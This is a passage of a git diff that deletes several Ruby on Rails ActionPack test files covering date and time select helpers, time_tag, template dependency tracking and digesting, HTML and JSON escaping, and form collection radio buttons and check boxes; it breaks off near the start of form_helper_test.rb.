-  def test_time_select_should_not_change_passed_options_hash
-    @post = Post.new
-    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
-
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    time_select(@post, :updated_at, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_date_should_not_change_passed_options_hash
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    select_date(Date.today, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_datetime_should_not_change_passed_options_hash
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    select_datetime(Time.now, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_time_should_not_change_passed_options_hash
-    options = {
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }
-    select_time(Time.now, options)
-
-    # note: the literal hash is intentional to show that the actual options hash isn't modified
-    #       don't change this!
-    assert_equal({
-      :order => [ :year, :month, :day ],
-      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
-      :discard_type => false,
-      :include_blank => false,
-      :ignore_date => false,
-      :include_seconds => true
-    }, options)
-  end
-
-  def test_select_html_safety
-    assert select_day(16).html_safe?
-    assert select_month(8).html_safe?
-    assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-
-    assert select_minute(8, :use_hidden => true).html_safe?
-    assert select_month(8, :prompt => 'Choose month').html_safe?
-
-    assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe?
-    assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe?
-  end
-
-  def test_object_select_html_safety
-    @post = Post.new
-    @post.written_on = Date.new(2004, 6, 15)
-
-    assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe?
-    assert time_select("post", "written_on", :ignore_date => true).html_safe?
-  end
-
-  def test_time_tag_with_date
-    date = Date.new(2013, 2, 20)
-    expected = '<time datetime="2013-02-20">February 20, 2013</time>'
-    assert_equal expected, time_tag(date)
-  end
-
-  def test_time_tag_with_time
-    time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
-    expected = '<time datetime="2013-02-20T00:00:00+00:00">February 20, 2013 00:00</time>'
-    assert_equal expected, time_tag(time)
-  end
-
-  def test_time_tag_pubdate_option
-    assert_match(/<time.*pubdate="pubdate">.*<\/time>/, time_tag(Time.now, :pubdate => true))
-  end
-
-  def test_time_tag_with_given_text
-    assert_match(/<time.*>Right now<\/time>/, time_tag(Time.now, 'Right now'))
-  end
-
-  def test_time_tag_with_given_block
-    assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ '<span>Right now</span>'.html_safe })
-  end
-
-  def test_time_tag_with_different_format
-    time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
-    expected = '<time datetime="2013-02-20T00:00:00+00:00">20 Feb 00:00</time>'
-    assert_equal expected, time_tag(time, :format => :short)
-  end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
diff --git a/actionpack/test/template/dependency_tracker_test.rb b/actionpack/test/template/dependency_tracker_test.rb
deleted file mode 100644
index 8588925..0000000
--- a/actionpack/test/template/dependency_tracker_test.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-require 'abstract_unit'
-require 'action_view/dependency_tracker'
-
-class NeckbeardTracker
-  def self.call(name, template)
-    ["foo/#{name}"]
-  end
-end
-
-class FakeTemplate
-  attr_reader :source, :handler
-
-  def initialize(source, handler = Neckbeard)
-    @source, @handler = source, handler
-  end
-end
-
-Neckbeard = lambda {|template| template.source }
-Bowtie = lambda {|template| template.source }
-
-class DependencyTrackerTest < ActionView::TestCase
-  def tracker
-    ActionView::DependencyTracker
-  end
-
-  def setup
-    ActionView::Template.register_template_handler :neckbeard, Neckbeard
-    tracker.register_tracker(:neckbeard, NeckbeardTracker)
-  end
-
-  def teardown
-    tracker.remove_tracker(:neckbeard)
-  end
-
-  def test_finds_tracker_by_template_handler
-    template = FakeTemplate.new("boo/hoo")
-    dependencies = tracker.find_dependencies("boo/hoo", template)
-    assert_equal ["foo/boo/hoo"], dependencies
-  end
-
-  def test_returns_empty_array_if_no_tracker_is_found
-    template = FakeTemplate.new("boo/hoo", Bowtie)
-    dependencies = tracker.find_dependencies("boo/hoo", template)
-    assert_equal [], dependencies
-  end
-end
-
-class ERBTrackerTest < MiniTest::Unit::TestCase
-  def make_tracker(name, template)
-    ActionView::DependencyTracker::ERBTracker.new(name, template)
-  end
-
-  def test_dependency_of_erb_template_with_number_in_filename
-    template = FakeTemplate.new("<%# render 'messages/message123' %>", :erb)
-    tracker = make_tracker('messages/_message123', template)
-
-    assert_equal ["messages/message123"], tracker.dependencies
-  end
-
-  def test_finds_dependency_in_correct_directory
-    template = FakeTemplate.new("<%# render(message.topic) %>", :erb)
-    tracker = make_tracker('messages/_message', template)
-
-    assert_equal ["topics/topic"], tracker.dependencies
-  end
-
-  def test_finds_dependency_in_correct_directory_with_underscore
-    template = FakeTemplate.new("<%# render(message_type.messages) %>", :erb)
-    tracker = make_tracker('message_types/_message_type', template)
-
-    assert_equal ["messages/message"], tracker.dependencies
-  end
-end
-
diff --git a/actionpack/test/template/digestor_test.rb b/actionpack/test/template/digestor_test.rb
deleted file mode 100644
index 95dca26..0000000
--- a/actionpack/test/template/digestor_test.rb
+++ /dev/null
@@ -1,256 +0,0 @@
-require 'abstract_unit'
-require 'fileutils'
-
-class FixtureTemplate
-  attr_reader :source, :handler
-
-  def initialize(template_path)
-    @source = File.read(template_path)
-    @handler = ActionView::Template.handler_for_extension(:erb)
-  rescue Errno::ENOENT
-    raise ActionView::MissingTemplate.new([], "", [], true, [])
-  end
-end
-
-class FixtureFinder
-  FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
-
-  def find(logical_name, keys, partial, options)
-    FixtureTemplate.new("digestor/#{partial ? logical_name.gsub(%r|/([^/]+)$|, '/_\1') : logical_name}.#{options[:formats].first}.erb")
-  end
-end
-
-class TemplateDigestorTest < ActionView::TestCase
-  def setup
-    @cwd     = Dir.pwd
-    @tmp_dir = Dir.mktmpdir
-
-    FileUtils.cp_r FixtureFinder::FIXTURES_DIR, @tmp_dir
-    Dir.chdir @tmp_dir
-  end
-
-  def teardown
-    Dir.chdir @cwd
-    FileUtils.rm_r @tmp_dir
-    ActionView::Digestor.cache.clear
-  end
-
-  def test_top_level_change_reflected
-    assert_digest_difference("messages/show") do
-      change_template("messages/show")
-    end
-  end
-
-  def test_explicit_dependency
-    assert_digest_difference("messages/show") do
-      change_template("messages/_message")
-    end
-  end
-
-  def test_explicit_dependency_in_multiline_erb_tag
-    assert_digest_difference("messages/show") do
-      change_template("messages/_form")
-    end
-  end
-
-  def test_second_level_dependency
-    assert_digest_difference("messages/show") do
-      change_template("comments/_comments")
-    end
-  end
-
-  def test_second_level_dependency_within_same_directory
-    assert_digest_difference("messages/show") do
-      change_template("messages/_header")
-    end
-  end
-
-  def test_third_level_dependency
-    assert_digest_difference("messages/show") do
-      change_template("comments/_comment")
-    end
-  end
-
-  def test_directory_depth_dependency
-    assert_digest_difference("level/below/index") do
-      change_template("level/below/_header")
-    end
-  end
-
-  def test_logging_of_missing_template
-    assert_logged "Couldn't find template for digesting: messages/something_missing.html" do
-      digest("messages/show")
-    end
-  end
-
-  def test_logging_of_missing_template_ending_with_number
-    assert_logged "Couldn't find template for digesting: messages/something_missing_1.html" do
-      digest("messages/show")
-    end
-  end
-
-  def test_nested_template_directory
-    assert_digest_difference("messages/show") do
-      change_template("messages/actions/_move")
-    end
-  end
-
-  def test_recursion_in_renders
-    assert digest("level/recursion") # assert recursion is possible
-    assert_not_nil digest("level/recursion") # assert digest is stored
-  end
-
-  def test_chaning_the_top_templete_on_recursion
-    assert digest("level/recursion") # assert recursion is possible
-
-    assert_digest_difference("level/recursion") do
-      change_template("level/recursion")
-    end
-
-    assert_not_nil digest("level/recursion") # assert digest is stored
-  end
-
-  def test_chaning_the_partial_templete_on_recursion
-    assert digest("level/recursion") # assert recursion is possible
-
-    assert_digest_difference("level/recursion") do
-      change_template("level/_recursion")
-    end
-
-    assert_not_nil digest("level/recursion") # assert digest is stored
-  end
-
-  def test_dont_generate_a_digest_for_missing_templates
-    assert_equal '', digest("nothing/there")
-  end
-
-  def test_collection_dependency
-    assert_digest_difference("messages/index") do
-      change_template("messages/_message")
-    end
-
-    assert_digest_difference("messages/index") do
-      change_template("events/_event")
-    end
-  end
-
-  def test_collection_derived_from_record_dependency
-    assert_digest_difference("messages/show") do
-      change_template("events/_event")
-    end
-  end
-
-  def test_extra_whitespace_in_render_partial
-    assert_digest_difference("messages/edit") do
-      change_template("messages/_form")
-    end
-  end
-
-  def test_extra_whitespace_in_render_named_partial
-    assert_digest_difference("messages/edit") do
-      change_template("messages/_header")
-    end
-  end
-
-  def test_extra_whitespace_in_render_record
-    assert_digest_difference("messages/edit") do
-      change_template("messages/_message")
-    end
-  end
-
-  def test_extra_whitespace_in_render_with_parenthesis
-    assert_digest_difference("messages/edit") do
-      change_template("events/_event")
-    end
-  end
-
-  def test_old_style_hash_in_render_invocation
-    assert_digest_difference("messages/edit") do
-      change_template("comments/_comment")
-    end
-  end
-
-  def test_dependencies_via_options_results_in_different_digest
-    digest_plain        = digest("comments/_comment")
-    digest_fridge       = digest("comments/_comment", dependencies: ["fridge"])
-    digest_phone        = digest("comments/_comment", dependencies: ["phone"])
-    digest_fridge_phone = digest("comments/_comment", dependencies: ["fridge", "phone"])
-
-    assert_not_equal digest_plain, digest_fridge
-    assert_not_equal digest_plain, digest_phone
-    assert_not_equal digest_plain, digest_fridge_phone
-    assert_not_equal digest_fridge, digest_phone
-    assert_not_equal digest_fridge, digest_fridge_phone
-    assert_not_equal digest_phone, digest_fridge_phone
-  end
-
-  def test_cache_template_loading
-    resolver_before = ActionView::Resolver.caching
-    ActionView::Resolver.caching = false
-    assert_digest_difference("messages/edit", true) do
-      change_template("comments/_comment")
-    end
-    ActionView::Resolver.caching = resolver_before
-  end
-
-  def test_digest_cache_cleanup_with_recursion
-    first_digest = digest("level/_recursion")
-    second_digest = digest("level/_recursion")
-
-    assert first_digest
-
-    # If the cache is cleaned up correctly, subsequent digests should return the same
-    assert_equal first_digest, second_digest
-  end
-
-  def test_digest_cache_cleanup_with_recursion_and_template_caching_off
-    resolver_before = ActionView::Resolver.caching
-    ActionView::Resolver.caching = false
-
-    first_digest = digest("level/_recursion")
-    second_digest = digest("level/_recursion")
-
-    assert first_digest
-
-    # If the cache is cleaned up correctly, subsequent digests should return the same
-    assert_equal first_digest, second_digest
-  ensure
-    ActionView::Resolver.caching = resolver_before
-  end
-
-  private
-    def assert_logged(message)
-      old_logger = ActionView::Base.logger
-      log = StringIO.new
-      ActionView::Base.logger = Logger.new(log)
-
-      begin
-        yield
-
-        log.rewind
-        assert_match message, log.read
-      ensure
-        ActionView::Base.logger = old_logger
-      end
-    end
-
-    def assert_digest_difference(template_name, persistent = false)
-      previous_digest = digest(template_name)
-      ActionView::Digestor.cache.clear unless persistent
-
-      yield
-
-      assert previous_digest != digest(template_name), "digest didn't change"
-      ActionView::Digestor.cache.clear
-    end
-
-    def digest(template_name, options={})
-      ActionView::Digestor.digest(template_name, :html, FixtureFinder.new, options)
-    end
-
-    def change_template(template_name)
-      File.open("digestor/#{template_name}.html.erb", "w") do |f|
-        f.write "\nTHIS WAS CHANGED!"
-      end
-    end
-end
diff --git a/actionpack/test/template/erb_util_test.rb b/actionpack/test/template/erb_util_test.rb
deleted file mode 100644
index 3e5b029..0000000
--- a/actionpack/test/template/erb_util_test.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-require 'abstract_unit'
-
-class ErbUtilTest < ActiveSupport::TestCase
-  include ERB::Util
-
-  ERB::Util::HTML_ESCAPE.each do |given, expected|
-    define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
-      assert_equal expected, html_escape(given)
-    end
-  end
-
-  ERB::Util::JSON_ESCAPE.each do |given, expected|
-    define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
-      assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
-    end
-  end
-
-  def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
-    value = json_escape("asdf")
-    assert !value.html_safe?
-  end
-
-  def test_json_escape_returns_safe_strings_when_passed_safe_strings
-    value = json_escape("asdf".html_safe)
-    assert value.html_safe?
-  end
-
-  def test_html_escape_is_html_safe
-    escaped = h("<p>")
-    assert_equal "<p>", escaped
-    assert escaped.html_safe?
-  end
-
-  def test_html_escape_passes_html_escpe_unmodified
-    escaped = h("<p>".html_safe)
-    assert_equal "<p>", escaped
-    assert escaped.html_safe?
-  end
-
-  def test_rest_in_ascii
-    (0..127).to_a.map {|int| int.chr }.each do |chr|
-      next if %('"&<>).include?(chr)
-      assert_equal chr, html_escape(chr)
-    end
-  end
-
-  def test_html_escape_once
-    assert_equal '1 <>&"' 2 & 3', html_escape_once('1 <>&"\' 2 & 3')
-  end
-
-  def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
-    value = html_escape_once('1 < 2 & 3')
-    assert !value.html_safe?
-  end
-
-  def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
-    value = html_escape_once('1 < 2 & 3'.html_safe)
-    assert value.html_safe?
-  end
-end
diff --git a/actionpack/test/template/form_collections_helper_test.rb b/actionpack/test/template/form_collections_helper_test.rb
deleted file mode 100644
index 48a269f..0000000
--- a/actionpack/test/template/form_collections_helper_test.rb
+++ /dev/null
@@ -1,349 +0,0 @@
-require 'abstract_unit'
-
-class Category < Struct.new(:id, :name)
-end
-
-class FormCollectionsHelperTest < ActionView::TestCase
-  def assert_no_select(selector, value = nil)
-    assert_select(selector, :text => value, :count => 0)
-  end
-
-  def with_collection_radio_buttons(*args, &block)
-    @output_buffer = collection_radio_buttons(*args, &block)
-  end
-
-  def with_collection_check_boxes(*args, &block)
-    @output_buffer = collection_check_boxes(*args, &block)
-  end
-
-  # COLLECTION RADIO BUTTONS
-  test 'collection radio accepts a collection and generate inputs from value method' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
-
-    assert_select 'input[type=radio][value=true]#user_active_true'
-    assert_select 'input[type=radio][value=false]#user_active_false'
-  end
-
-  test 'collection radio accepts a collection and generate inputs from label method' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
-
-    assert_select 'label[for=user_active_true]', 'true'
-    assert_select 'label[for=user_active_false]', 'false'
-  end
-
-  test 'collection radio handles camelized collection values for labels correctly' do
-    with_collection_radio_buttons :user, :active, ['Yes', 'No'], :to_s, :to_s
-
-    assert_select 'label[for=user_active_yes]', 'Yes'
-    assert_select 'label[for=user_active_no]', 'No'
-  end
-
-  test 'collection radio should sanitize collection values for labels correctly' do
-    with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
-    assert_select 'label[for=user_name_099]', '$0.99'
-    assert_select 'label[for=user_name_199]', '$1.99'
-  end
-
-  test 'collection radio accepts checked item' do
-    with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => true
-
-    assert_select 'input[type=radio][value=true][checked=checked]'
-    assert_no_select 'input[type=radio][value=false][checked=checked]'
-  end
-
-  test 'collection radio accepts multiple disabled items' do
-    collection = [[1, true], [0, false], [2, 'other']]
-    with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => [true, false]
-
-    assert_select 'input[type=radio][value=true][disabled=disabled]'
-    assert_select 'input[type=radio][value=false][disabled=disabled]'
-    assert_no_select 'input[type=radio][value=other][disabled=disabled]'
-  end
-
-  test 'collection radio accepts single disable item' do
-    collection = [[1, true], [0, false]]
-    with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
-
-    assert_select 'input[type=radio][value=true][disabled=disabled]'
-    assert_no_select 'input[type=radio][value=false][disabled=disabled]'
-  end
-
-  test 'collection radio accepts html options as input' do
-    collection = [[1, true], [0, false]]
-    with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
-
-    assert_select 'input[type=radio][value=true].special-radio#user_active_true'
-    assert_select 'input[type=radio][value=false].special-radio#user_active_false'
-  end
-
-  test 'collection radio does not wrap input inside the label' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
-
-    assert_select 'input[type=radio] + label'
-    assert_no_select 'label input'
-  end
-
-  test 'collection radio accepts a block to render the label as radio button wrapper' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label { b.radio_button }
-    end
-
-    assert_select 'label[for=user_active_true] > input#user_active_true[type=radio]'
-    assert_select 'label[for=user_active_false] > input#user_active_false[type=radio]'
-  end
-
-  test 'collection radio accepts a block to change the order of label and radio button' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label + b.radio_button
-    end
-
-    assert_select 'label[for=user_active_true] + input#user_active_true[type=radio]'
-    assert_select 'label[for=user_active_false] + input#user_active_false[type=radio]'
-  end
-
-  test 'collection radio with block helpers accept extra html options' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(:class => "radio_button") + b.radio_button(:class => "radio_button")
-    end
-
-    assert_select 'label.radio_button[for=user_active_true] + input#user_active_true.radio_button[type=radio]'
-    assert_select 'label.radio_button[for=user_active_false] + input#user_active_false.radio_button[type=radio]'
-  end
-
-  test 'collection radio with block helpers allows access to current text and value' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(:"data-value" => b.value) { b.radio_button + b.text }
-    end
-
-    assert_select 'label[for=user_active_true][data-value=true]', 'true' do
-      assert_select 'input#user_active_true[type=radio]'
-    end
-    assert_select 'label[for=user_active_false][data-value=false]', 'false' do
-      assert_select 'input#user_active_false[type=radio]'
-    end
-  end
-
-  test 'collection radio with block helpers allows access to the current object item in the collection to access extra properties' do
-    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(:class => b.object) { b.radio_button + b.text }
-    end
-
-    assert_select 'label.true[for=user_active_true]', 'true' do
-      assert_select 'input#user_active_true[type=radio]'
-    end
-    assert_select 'label.false[for=user_active_false]', 'false' do
-      assert_select 'input#user_active_false[type=radio]'
-    end
-  end
-
-  test 'collection radio buttons with fields for' do
-    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
-    @output_buffer = fields_for(:post) do |p|
-      p.collection_radio_buttons :category_id, collection, :id, :name
-    end
-
-    assert_select 'input#post_category_id_1[type=radio][value=1]'
-    assert_select 'input#post_category_id_2[type=radio][value=2]'
-
-    assert_select 'label[for=post_category_id_1]', 'Category 1'
-    assert_select 'label[for=post_category_id_2]', 'Category 2'
-  end
-
-  test 'collection radio accepts checked item which has a value of false' do
-    with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => false
-    assert_no_select 'input[type=radio][value=true][checked=checked]'
-    assert_select 'input[type=radio][value=false][checked=checked]'
-  end
-
-  # COLLECTION CHECK BOXES
-  test 'collection check boxes accepts a collection and generate a serie of checkboxes for value method' do
-    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name
-
-    assert_select 'input#user_category_ids_1[type=checkbox][value=1]'
-    assert_select 'input#user_category_ids_2[type=checkbox][value=2]'
-  end
-
-  test 'collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do
-    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name
-
-    assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 1
-  end
-
-  test 'collection check boxes generates a hidden field using the given :name in :html_options' do
-    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name, {}, {name: "user[other_category_ids][]"}
-
-    assert_select "input[type=hidden][name='user[other_category_ids][]'][value=]", :count => 1
-  end
-
-  test 'collection check boxes accepts a collection and generate a serie of checkboxes with labels for label method' do
-    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
-    with_collection_check_boxes :user, :category_ids, collection, :id, :name
-
-    assert_select 'label[for=user_category_ids_1]', 'Category 1'
-    assert_select 'label[for=user_category_ids_2]', 'Category 2'
-  end
-
-  test 'collection check boxes handles camelized collection values for labels correctly' do
-    with_collection_check_boxes :user, :active, ['Yes', 'No'], :to_s, :to_s
-
-    assert_select 'label[for=user_active_yes]', 'Yes'
-    assert_select 'label[for=user_active_no]', 'No'
-  end
-
-  test 'collection check box should sanitize collection values for labels correctly' do
-    with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
-    assert_select 'label[for=user_name_099]', '$0.99'
-    assert_select 'label[for=user_name_199]', '$1.99'
-  end
-
-  test 'collection check boxes accepts selected values as :checked option' do
-    collection = (1..3).map{|i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
-
-    assert_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
-  end
-
-  test 'collection check boxes accepts selected string values as :checked option' do
-    collection = (1..3).map{|i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => ['1', '3']
-
-    assert_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
-  end
-
-  test 'collection check boxes accepts a single checked value' do
-    collection = (1..3).map{|i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => 3
-
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
-  end
-
-  test 'collection check boxes accepts selected values as :checked option and override the model values' do
-    user = Struct.new(:category_ids).new(2)
-    collection = (1..3).map{|i| [i, "Category #{i}"] }
-
-    @output_buffer = fields_for(:user, user) do |p|
-      p.collection_check_boxes :category_ids, collection, :first, :last, :checked => [1, 3]
-    end
-
-    assert_select 'input[type=checkbox][value=1][checked=checked]'
-    assert_select 'input[type=checkbox][value=3][checked=checked]'
-    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
-  end
-
-  test 'collection check boxes accepts multiple disabled items' do
-    collection = (1..3).map{|i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => [1, 3]
-
-    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
-    assert_select 'input[type=checkbox][value=3][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
-  end
-
-  test 'collection check boxes accepts single disable item' do
-    collection = (1..3).map{|i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
-
-    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
-  end
-
-  test 'collection check boxes accepts a proc to disabled items' do
-    collection = (1..3).map{|i| [i, "Category #{i}"] }
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => proc { |i| i.first == 1 }
-
-    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
-    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
-  end
-
-  test 'collection check boxes accepts html options' do
-    collection = [[1, 'Category 1'], [2, 'Category 2']]
-    with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
-
-    assert_select 'input.check[type=checkbox][value=1]'
-    assert_select 'input.check[type=checkbox][value=2]'
-  end
-
-  test 'collection check boxes with fields for' do
-    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
-    @output_buffer = fields_for(:post) do |p|
-      p.collection_check_boxes :category_ids, collection, :id, :name
-    end
-
-    assert_select 'input#post_category_ids_1[type=checkbox][value=1]'
-    assert_select 'input#post_category_ids_2[type=checkbox][value=2]'
-
-    assert_select 'label[for=post_category_ids_1]', 'Category 1'
-    assert_select 'label[for=post_category_ids_2]', 'Category 2'
-  end
-
-  test 'collection check boxes does not wrap input inside the label' do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
-
-    assert_select 'input[type=checkbox] + label'
-    assert_no_select 'label input'
-  end
-
-  test 'collection check boxes accepts a block to render the label as check box wrapper' do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label { b.check_box }
-    end
-
-    assert_select 'label[for=user_active_true] > input#user_active_true[type=checkbox]'
-    assert_select 'label[for=user_active_false] > input#user_active_false[type=checkbox]'
-  end
-
-  test 'collection check boxes accepts a block to change the order of label and check box' do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label + b.check_box
-    end
-
-    assert_select 'label[for=user_active_true] + input#user_active_true[type=checkbox]'
-    assert_select 'label[for=user_active_false] + input#user_active_false[type=checkbox]'
-  end
-
-  test 'collection check boxes with block helpers accept extra html options' do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(:class => "check_box") + b.check_box(:class => "check_box")
-    end
-
-    assert_select 'label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]'
-    assert_select 'label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]'
-  end
-
-  test 'collection check boxes with block helpers allows access to current text and value' do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(:"data-value" => b.value) { b.check_box + b.text }
-    end
-
-    assert_select 'label[for=user_active_true][data-value=true]', 'true' do
-      assert_select 'input#user_active_true[type=checkbox]'
-    end
-    assert_select 'label[for=user_active_false][data-value=false]', 'false' do
-      assert_select 'input#user_active_false[type=checkbox]'
-    end
-  end
-
-  test 'collection check boxes with block helpers allows access to the current object item in the collection to access extra properties' do
-    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
-      b.label(:class => b.object) { b.check_box + b.text }
-    end
-
-    assert_select 'label.true[for=user_active_true]', 'true' do
-      assert_select 'input#user_active_true[type=checkbox]'
-    end
-    assert_select 'label.false[for=user_active_false]', 'false' do
-      assert_select 'input#user_active_false[type=checkbox]'
-    end
-  end
-end
diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb
deleted file mode 100644
index 3302ee8..0000000
--- a/actionpack/test/template/form_helper_test.rb
+++ /dev/null
@@ -1,3019 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class FormHelperTest < ActionView::TestCase
-  include RenderERBUtils
-
-  tests ActionView::Helpers::FormHelper
-
-  def form_for(*)
-    @output_buffer = super
-  end
-
-  def setup
-    super
-
-    # Create "label" locale for testing I18n label helpers
-    I18n.backend.store_translations 'label', {
-      activemodel: {
-        attributes: {
-          post: {
-            cost: "Total cost"
-          }
-        }
-      },
-      helpers: {
-        label: {
-          post: {
-            body: "Write entire text here",
-            color: {
-              red: "Rojo"
-            },
-            comments: {
-              body: "Write body here"
-            }
-          },
-          tag: {
-            value: "Tag"
-          }
-        }
-      }
-    }
-
-    # Create "submit" locale for testing I18n submit helpers
-    I18n.backend.store_translations 'submit', {
-      helpers: {
-        submit: {
-          create: 'Create %{model}',
-          update: 'Confirm %{model} changes',
-          submit: 'Save changes',
-          another_post: {
-            update: 'Update your %{model}'
-          }
-        }
-      }
-    }
-
-    @post = Post.new
-    @comment = Comment.new
